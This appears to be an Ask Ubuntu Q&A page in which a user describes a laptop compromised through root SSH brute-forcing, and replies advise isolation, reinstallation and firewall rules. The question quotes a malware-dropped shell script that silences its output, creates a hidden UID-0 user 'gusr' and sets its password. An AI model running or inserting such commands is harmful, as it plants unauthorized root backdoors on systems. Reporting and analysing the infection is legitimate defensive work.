13

I am fairly certain that my Ubuntu 13.10 laptop is infected with some sort of malware.

Every once in a while, I find a process /lib/sshd (owned by root) running and consuming lots of cpu. It is not the sshd server which runs /usr/sbin/sshd.

The binary has --wxrw-rwt permissions and it generates and spawns scripts in the /lib directory. A recent one is named 13959730401387633604 and it does the following

#!/bin/sh
exec 1>/dev/null
exec 2>/dev/null
useradd -g 0 -u 0 -o gusr
echo gusr:chaonimabi123456123 | chpasswd

The gusr user was created by the malware independently, and then the chpasswd hangs while consuming 100% cpu.

So far, I've identified that the gusr user was additionally added to files in /etc/

/etc/group
/etc/gshadow
/etc/passwd
/etc/shadow
/etc/subgid
/etc/subuid

It seems like the malware made copies of all these files with the "-" suffix. The full list of /etc/ files that were modified by root is available here.

In addition, the /etc/hosts file was changed to the this.

The /lib/sshd starts by adding itself to the end of /etc/init.d/rc.local file!

I've removed the user, removed the files, killed the tree of processed, changed my passwors and removed the ssh public keys.

I am aware that I am basically screwed, and I will most likely reinstall the whole system. Nevertheless, since I login to several other machines, it would be good to at least attempt to remove it, and figure out how I got it. Any suggestions on how to go about this would be appreciated.

It seems like they got in on March 25 by brute-forcing root login. I had no idea that root ssh is enabled by default in Ubuntu. I disabled it and put up denyhosts.

The login was from 59.188.247.236, somewhere in Hong Kong apparently.

I got the laptop from EmperorLinux, and they enabled root access. If you have one of those and you're running sshd beware.

8
  • 2
    Get your machine OFF the network! Now!
    – Seth
    Mar 30, 2014 at 3:55
  • 2
    And why do you have root login enabled? That's something you should not enable without a good reason.
    – Seth
    Mar 30, 2014 at 3:56
  • @Seth I didn't enable it, it was on by default in Ubuntu. I'm as surprised as you are. Mar 30, 2014 at 4:03
  • 1
    See "By default, the SSH daemon ships with remote root logins enabled. Normally Ubuntu does not allow direct access to the root user, so this setting is unimportant. If you have set a password on the root account, this setting can be a potential security risk, and should be disabled."
    – Seth
    Mar 30, 2014 at 4:04
  • 1
    I'm fairly certain that this is not Linux/Ebury. It's something else, and possibly doesn't have a name assigned. Ebury wouldn't create a new user account, and would've modified the shared library used by openssh, not dropped in a new binary named sshd.
    – Riking
    Mar 30, 2014 at 6:54

1 Answer 1

11

First, get that machine off the network now!

Second, why did you have the root account enabled? You really shouldn't enable the root account unless you have a very good reason to do so.

Thirdly, yes, the only way to be sure you're clean is to do a clean install. It's also advised that you start fresh and don't go back to a backup, as you can never be sure when it all started.

I also suggest that you set up a a firewall in your next install and deny all incoming connections:

sudo ufw default deny incoming

and then allow ssh with:

sudo ufw allow ssh

and DON'T enable the root account! Certainly make sure that root ssh login is disabled.

2
  • 4
    I checked the root account. I got the laptop from Emperorlinux and they enabled the account to set it up. Stupid. Mar 30, 2014 at 4:23
  • 1
    @DejanJovanović That's terrible!
    – Seth
    Mar 30, 2014 at 4:36

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .